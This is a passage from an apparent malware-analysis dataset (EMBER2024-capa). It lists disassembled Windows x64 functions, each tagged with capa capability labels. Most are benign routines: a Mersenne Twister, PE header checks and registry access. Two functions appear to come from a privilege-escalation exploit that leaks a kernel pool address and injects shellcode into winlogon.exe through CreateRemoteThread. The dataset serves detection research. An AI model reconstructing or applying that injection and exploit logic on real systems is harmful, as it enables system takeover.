joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001c1f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x20
mov esi, r8d
mov rbp, rdx
mov rbx, rcx
lea rax, vtable.MagnetosphereModel.0
mov qword [rcx], rax
xor r14d, r14d
mov qword [rcx + 8], r14
lea ecx, [r14 + 0x28]
call fcn.140184174
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
lea rcx, vtable.GravityControl.0
mov qword [rax], rcx
mov dword [rax + 8], 3
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r14
mov qword [rbx + 0x10], rax
xor eax, eax
movups xmmword [rbx + 0x18], xmm0
movups xmmword [rbx + 0x28], xmm0
movups xmmword [rbx + 0x38], xmm0
movups xmmword [rbx + 0x48], xmm0
movups xmmword [rbx + 0x58], xmm0
movups xmmword [rbx + 0x68], xmm0
mov qword [rbx + 0x78], rax
lea rcx, [rbx + 0x80]
call fcn.14001e4b0
nop
mov qword [rbx + 0xb0], r14
mov dword [rbx + 0xb8], r14d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub r8d, ecx
mov dword [rbx + 0xbc], r8d
mov ecx, 0x1388
call fcn.140184174
mov rdi, rax
mov qword [rsp + 0x48], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rdi + 0x1384], 0xffffffff
mov dword [rdi + 4], eax
lea edx, [r14 + 1]
lea r8, [rdi + 8]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [r8], eax
inc rdx
lea r8, [r8 + 4]
cmp rdx, 0x270
jb 0x14001c2f0
mov dword [rdi], 0x270
mov qword [rbx + 0xc8], rdi
mov word [rbx + 0xd0], 0
mov dword [rbx + 0xd4], r14d
mov dword [rbx + 0xd8], esi
mov qword [rbx + 0xe0], rbp
mov dword [rbx + 0xe8], r14d
mov qword [rbx + 0xf0], r14
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14001dfb0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov eax, dword [rsp + 0x60]
mov rdi, r8
movaps xmmword [rsp + 0x20], xmm6
movaps xmm6, xmm3
mov rbx, rdx
test eax, eax
jne 0x14001dffc
mov rax, qword [r8]
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 5]
call qword [rax + 0x50]
cmp eax, 1
jge 0x14001e197
mov rax, qword [rbx]
xor r9d, r9d
movaps xmm2, xmm6
mov rdx, rdi
mov rcx, rbx
call qword [rax + 0x30]
jmp 0x14001e02b
cmp eax, 1
jne 0x14001e06a
mov rax, qword [r8]
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 5]
call qword [rax + 0x50]
cmp eax, 1
jge 0x14001e197
mov rax, qword [rbx]
xor r9d, r9d
movaps xmm2, xmm6
mov rdx, rdi
mov rcx, rbx
call qword [rax + 0x38]
mov rax, qword [rbx]
mov rdx, rdi
mov rcx, rbx
call qword [rax + 8]
mov rax, qword [rdi]
mov edx, 1
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
lea r8d, [rdx + 6]
call qword [rax + 0x50]
mov rdx, rdi
mov rcx, rbx
mov dword [rbx + 8], eax
mov rbx, qword [rsp + 0x40]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rdi
jmp fcn.14001be40
cmp eax, 2
jne 0x14001e0f7
mov rax, qword [r8]
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 5]
call qword [rax + 0x50]
cmp eax, 1
jge 0x14001e0ab
mov rax, qword [rbx]
xor r9d, r9d
movaps xmm2, xmm6
mov rdx, rdi
mov rcx, rbx
call qword [rax + 0x30]
mov rax, qword [rbx]
xor r9d, r9d
movaps xmm2, xmm6
mov rdx, rdi
mov rcx, rbx
call qword [rax + 0x38]
mov rax, qword [rdi]
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 2]
call qword [rax + 0x50]
cmp eax, 1
jge 0x14001e197
mov rcx, rdi
call fcn.14001c6d0
mov rcx, qword [rdi + 8]
mov rdx, rdi
call fcn.14001c170
mov rcx, qword [rdi + 0xe0]
mov rdx, rdi
mov rax, qword [rcx]
mov rbx, qword [rsp + 0x40]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rdi
jmp qword [rax + 8]
cmp eax, 3
jne 0x14001e14b
mov rcx, qword [r8 + 8]
mov rdx, rdi
call fcn.14001c170
mov rax, qword [rdi]
xorps xmm1, xmm1
movss xmm2, dword [0x1401e5454]
mov rcx, rdi
call qword [rax + 0x48]
comiss xmm0, dword [0x1401e5370]
mov rcx, qword [rdi + 0xa0]
mov rax, qword [rdi + 0x88]
setb dl
add rcx, rcx
mov byte [rax + rcx*8 + 0xb], dl
mov rbx, qword [rsp + 0x40]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rdi
ret
cmp eax, 4
jne 0x14001e197
mov rcx, qword [r8 + 8]
mov rdx, rdi
call fcn.14001c170
mov rax, qword [rdi]
xorps xmm1, xmm1
movss xmm6, dword [0x1401e5454]
mov rcx, rdi
movaps xmm2, xmm6
call qword [rax + 0x48]
comiss xmm0, dword [0x1401e5370]
setb al
mov byte [rdi + 0x84], al
test al, al
je 0x14001e18f
movss xmm6, dword [0x1401e52c0]
movss dword [rdi + 0x80], xmm6
mov rbx, qword [rsp + 0x40]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rdi
ret
Function at 0x14001ecb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [rdx + 0x10]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 0x14]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x18], eax
mov eax, dword [rdx + 0x1c]
mov dword [rcx + 0x1c], eax
mov eax, dword [rdx + 0x20]
mov dword [rcx + 0x20], eax
mov eax, dword [rdx + 0x24]
mov dword [rcx + 0x24], eax
mov eax, dword [rdx + 0x28]
mov dword [rcx + 0x28], eax
mov eax, dword [rdx + 0x2c]
mov dword [rcx + 0x2c], eax
mov eax, dword [rdx + 0x30]
mov dword [rcx + 0x30], eax
mov eax, dword [rdx + 0x34]
mov dword [rcx + 0x34], eax
mov eax, dword [rdx + 0x38]
mov dword [rcx + 0x38], eax
mov eax, dword [rdx + 0x3c]
mov dword [rcx + 0x3c], eax
mov rax, qword [rdx + 0x40]
mov qword [rcx + 0x40], rax
mov eax, dword [rdx + 0x48]
mov dword [rcx + 0x48], eax
mov eax, dword [rdx + 0x4c]
mov dword [rcx + 0x4c], eax
mov eax, dword [rdx + 0x50]
mov dword [rcx + 0x50], eax
mov eax, dword [rdx + 0x54]
mov dword [rcx + 0x54], eax
mov eax, dword [rdx + 0x58]
mov dword [rcx + 0x58], eax
mov eax, dword [rdx + 0x5c]
mov dword [rcx + 0x5c], eax
mov eax, dword [rdx + 0x60]
mov dword [rcx + 0x60], eax
mov eax, dword [rdx + 0x64]
mov dword [rcx + 0x64], eax
mov eax, dword [rdx + 0x68]
mov dword [rcx + 0x68], eax
mov eax, dword [rdx + 0x6c]
mov dword [rcx + 0x6c], eax
mov eax, dword [rdx + 0x70]
mov dword [rcx + 0x70], eax
mov eax, dword [rdx + 0x74]
mov dword [rcx + 0x74], eax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
mov eax, dword [rdx + 0x7c]
mov dword [rcx + 0x7c], eax
mov eax, dword [rdx + 0x80]
mov dword [rcx + 0x80], eax
movzx eax, byte [rdx + 0x84]
mov byte [rcx + 0x84], al
movzx eax, byte [rdx + 0x85]
mov byte [rcx + 0x85], al
mov eax, dword [rdx + 0x88]
mov dword [rcx + 0x88], eax
mov eax, dword [rdx + 0x8c]
mov dword [rcx + 0x8c], eax
mov eax, dword [rdx + 0x90]
mov dword [rcx + 0x90], eax
mov eax, dword [rdx + 0xa0]
mov dword [rcx + 0xa0], eax
mov eax, dword [rdx + 0xa4]
mov dword [rcx + 0xa4], eax
mov eax, dword [rdx + 0xa8]
mov dword [rcx + 0xa8], eax
mov eax, dword [rdx + 0xac]
mov dword [rcx + 0xac], eax
movzx eax, byte [rdx + 0xb0]
mov byte [rcx + 0xb0], al
mov rax, rcx
ret
Function at 0x14001f340
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x14001f3a1
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x14001f360
mov ecx, dword [r10]
jmp 0x14001f48a
cmp ecx, 0x4e0
jb 0x14001f48a
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14001f3c0
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14001f410
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14002f9a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0x13a8
call fcn.140184e80
sub rsp, rax
mov rax, qword [0x1401fa010]
xor rax, rsp
mov qword [rsp + 0x1390], rax
mov edx, 0x1571
mov dword [rsp + 0x1384], 0xffffffff
mov dword [rsp + 4], edx
mov ecx, 1
mov r8d, 0x270
nop
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 4], edx
inc rcx
cmp rcx, r8
jb 0x14002f9e0
mov dword [rsp], r8d
lea r9, [rsp + 8]
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r9 - 4]
xor edx, dword [r9]
lea r9, [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x62c]
xor ecx, edx
mov dword [r9 + 0x9b8], ecx
sub r8, 1
jne 0x14002fa10
mov r8d, dword [rsp]
mov ecx, dword [rsp + r8*4 + 4]
mov eax, ecx
shr eax, 0xb
and eax, dword [rsp + 0x1384]
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
mov rcx, qword [rsp + 0x1390]
xor rcx, rsp
call fcn.140183d70
add rsp, 0x13a8
ret
Function at 0x14004ace0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
mov eax, 0x13d0
call fcn.140184e80
sub rsp, rax
movaps xmmword [rsp + 0x13c0], xmm6
mov rax, qword [0x1401fa010]
xor rax, rsp
mov qword [rsp + 0x13b0], rax
mov eax, dword [rcx + 0x35b0]
movaps xmm6, xmm1
mov rbx, rcx
test eax, eax
jne 0x14004ad2b
cmp dword [rcx + 0x35a8], eax
jne 0x14004ad2b
test r8b, 1
je 0x14004aebd
test r8b, 2
jne 0x14004ae5b
test r8b, 1
je 0x14004ad48
cmp dword [rcx + 0x35a8], 0
jne 0x14004ae5b
test eax, eax
je 0x14004aebd
comisd xmm6, xmmword [rcx + 0x3588]
jbe 0x14004aebd
mov rax, qword [rcx + 0x2038]
mov rcx, qword [rax + 0x20]
cmp byte [rcx + 0x2c], 0
je 0x14004aebd
mov r8d, dword [rbx + 0x35a8]
mov rcx, rbx
mov edx, dword [rbx + 0x3598]
call fcn.140049230
mov edx, 0x1571
mov dword [rsp + 0x13a4], 0xffffffff
mov dword [rsp + 0x24], edx
mov ecx, 1
mov r8d, 0x270
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x24], edx
inc rcx
cmp rcx, r8
jb 0x14004adb0
mov dword [rsp + 0x20], r8d
lea r9, [rsp + 0x28]
nop word [rax + rax]
mov edx, dword [r9 - 4]
xor edx, dword [r9]
lea r9, [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x62c]
xor ecx, edx
mov dword [r9 + 0x9b8], ecx
sub r8, 1
jne 0x14004ade0
mov r8d, dword [rsp + 0x20]
mov ecx, dword [rsp + r8*4 + 0x24]
mov eax, ecx
shr eax, 0xb
and eax, dword [rsp + 0x13a4]
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
add eax, 2
mov dword [rbx + 0x35a8], eax
jmp 0x14004ae6d
mov r8d, dword [rcx + 0x35a8]
mov edx, dword [rcx + 0x3598]
call fcn.140049230
mov rax, qword [rbx + 0x2038]
mov rcx, qword [rax + 0x20]
cmp byte [rcx + 0x2c], 0
je 0x14004aea3
cmp qword [rbx + 0x35a0], 0
je 0x14004aea3
mov byte [rcx + 0x2c], 0
mov rcx, qword [rbx + 0x2038]
mov rdx, qword [rbx + 0x35a0]
mov rcx, qword [rcx + 0x20]
call fcn.14004d810
addsd xmm6, qword [rbx + 0x3590]
mov dword [rbx + 0x359c], 0x28
movsd qword [rbx + 0x3588], xmm6
cmp dword [rbx + 0x35b0], 0
jne 0x14004af05
cmp byte [rbx + 0x3700], 0
jne 0x14004af05
mov rax, qword [rbx + 0x2038]
mov rcx, qword [rax + 0x20]
cmp byte [rcx + 0x2c], 0
je 0x14004af05
cmp qword [rbx + 0x35a0], 0
je 0x14004af05
mov byte [rcx + 0x2c], 0
mov rcx, qword [rbx + 0x2038]
mov rdx, qword [rbx + 0x35a0]
mov rcx, qword [rcx + 0x20]
call fcn.14004d810
mov rcx, qword [rsp + 0x13b0]
xor rcx, rsp
call fcn.140183d70
movaps xmm6, xmmword [rsp + 0x13c0]
add rsp, 0x13d0
pop rbx
ret
Function at 0x140011172
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014200
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014220
xor al, al
jmp 0x1400142a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014233
xor al, al
jmp 0x1400142a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001425d
xor al, al
jmp 0x1400142a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014271
xor al, al
jmp 0x1400142a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014283
xor al, al
jmp 0x1400142a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001429f
xor al, al
jmp 0x1400142a1
mov al, 1
add rsp, 0x38
ret

Function at 0x1400111b8
Capabilities:
Terminate process

Disassembly:
jmp 0x140012e30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400111f9
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011810
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14001b170]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x40]
mov rbx, rcx
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, 0x1000
mov r9d, 4
mov r8d, esi
mov edx, esi
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movabs rcx, 0x4141414141414141
lea r8, [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor ecx, ecx
mov qword [rax], 0x80
mov qword [rax + 8], rbx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
lea r9d, [rcx + 0x10]
movaps xmm0, xmmword [rsp + 0x30]
lea edx, [rcx + 0x26]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rdi
mov dword [rsp + 0x30], 0xffff1000
mov qword [rsp + 0x38], rax
call qword [0x14001b2c0]
mov edx, 0x100000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x44]
mov r8d, 0x100000
mov rdx, rax
mov ecx, 0x42
mov rbx, rax
call qword [0x14001b2c8]
mov ecx, dword [rbx]
movzx edi, word [rsp + 0x30]
add edi, 0x10
lea rsi, [rcx*2 + 1]
add rsi, rcx
lea rsi, [rbx + rsi*8]
add rbx, 8
cmp rbx, rsi
jae 0x14001193e
lea rcx, [rbx + 0x10]
mov r8d, 4
lea rdx, str.ThNm
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140011935
mov eax, edi
cmp rax, qword [rbx + 8]
je 0x140011969
add rbx, 0x18
cmp rbx, rsi
jb 0x140011912
lea rcx, str.____Failed_to_leak_pool_address_for_forged_BitMapHeader_n
call fcn.1400111a9
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400112bc
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov rax, qword [rbx]
and rax, 0xfffffffffffffff0
add rax, 0x10
jmp 0x14001194c
Function at 0x1400112da
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011cf0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x14001b170]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call fcn.1400110eb
lea rdx, [rsp + 0x40]
mov rcx, rax
mov rdi, rax
or rbx, 0xffffffffffffffff
call fcn.140011285
test eax, eax
je 0x140011da7
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140011177
test eax, eax
je 0x140011da7
lea rsi, str.winlogon.exe
nop word [rax + rax]
lea rdx, [rsp + 0x6c]
mov rax, rbx
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x140011d90
add rax, 2
cmp rax, 0xd
je 0x140011da3
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
je 0x140011d70
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140011177
test eax, eax
jne 0x140011d60
jmp 0x140011da7
mov ebx, dword [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jns 0x140011dc0
lea rcx, str.____Could_not_find_winlogon.exe
jmp 0x140011e70
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140011de4
lea rcx, str.____Failed_to_open_process._Exploit_did_probably_not_work
jmp 0x140011e70
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x114
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140011e17
lea rcx, str.____Failed_to_allocate_remote_memory
call fcn.1400111a9
xor esi, esi
lea r8, section..data
mov r9d, 0x114
mov qword [rsp + 0x20], rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140011e44
lea rcx, str.____Failed_to_write_to_remote_memory
jmp 0x140011e70
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp rax, 0xffffffffffffffff
jne 0x140011e76
lea rcx, str.____Failed_to_create_remote_thread
call qword [sym.imp.ucrtbased.dll_puts]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400112bc
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140001300
Capabilities:
Delete registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14000d048]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rax, rdx
mov rbx, rcx
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rsi, r8
xor dil, dil
call qword [sym.imp.Qt5Core.dll_public:_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t_____cdecl_QString::toStdWString_void____ptr64]
cmp qword [rax + 0x18], 8
jb 0x14000133b
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rdx, qword [rsp + 0x38]
mov ebx, eax
cmp rdx, 8
jb 0x14000138e
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001389
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001389
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000521c
test ebx, ebx
jne 0x140001397
mov dil, 1
jmp 0x1400013a1
mov rdx, rsi
mov ecx, ebx
call fcn.140001260
movzx eax, dil
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140005330
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x140001590
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x498
mov rax, qword [0x14000d048]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rbp, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x34], 0
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_void____ptr64]
mov dword [rsp + 0x34], 1
mov dword [rsp + 0x38], 0x400
lea rdx, [rsp + 0x58]
mov rcx, rsi
call qword [sym.imp.Qt5Core.dll_public:_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t_____cdecl_QString::toStdWString_void____ptr64]
cmp qword [rax + 0x18], 8
jb 0x1400015f5
mov rax, qword [rax]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x3c]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140001667
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001662
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001662
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000521c
test ebx, ebx
jne 0x14000170a
cmp dword [rsp + 0x3c], 1
jne 0x1400016a0
lea r8d, [rbx - 1]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromWCharArray_wchar_t_const____ptr64__int_]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::operator_class_QString____ptr64____ptr64]
lea rcx, [rsp + 0x40]
jmp 0x140001704
mov r9d, 0xffffffff
xor r8d, r8d
lea rdx, str.Registry_value__1_is_not_a_string
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QObject::tr_char_const____ptr64__char_const____ptr64__int_]
mov rbx, rax
mov dl, 0x20
lea rcx, [rsp + 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
mov r8, rsi
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::operator_class_QString____ptr64____ptr64]
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov rax, rdi
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140005330
add rsp, 0x498
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001b60
Capabilities:
Set registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [0x14000d048]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rax, rdx
mov rbp, rcx
mov rcx, rax
lea rdx, [rsp + 0x30]
mov rsi, r9
mov rbx, r8
xor dil, dil
call qword [sym.imp.Qt5Core.dll_public:_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t_____cdecl_QString::toStdWString_void____ptr64]
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x140001ba2
mov rdx, qword [rax]
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rbx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001bb0
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rcx, rbp
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rdx, qword [rsp + 0x48]
mov ebx, eax
cmp rdx, 8
